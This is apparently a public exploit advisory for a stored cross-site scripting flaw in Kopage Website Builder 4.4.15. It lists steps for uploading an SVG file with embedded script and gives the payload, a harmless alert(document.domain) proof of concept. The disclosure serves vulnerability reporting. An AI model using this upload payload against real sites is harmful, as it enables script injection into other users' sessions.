#Exploit Title: Kopage Website Builder version 4.4.15 – Stored Cross-Site Scripting (XSS)
#Date: 1/12/2023
#Exploit Author: tmrswrr
#Vendor Homepage: https://www.kopage.com/
#Version: Version : 4.4.15
#Tested on: https://demo.kopage.com/index.php
#Poc:
1 ) Install the system through the website and log in with any user.
2 ) Go to Files field and click upload 
3 ) Upload your svg file
Payload :
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        alert(document.domain)
    //]]>
    </script>
</svg>
4 ) Open svg file url you will be see alert button.
Url : https://demo.kopage.com/demo/9ff16a191981a3f2ee0a7cca7/data/files/aaa.svg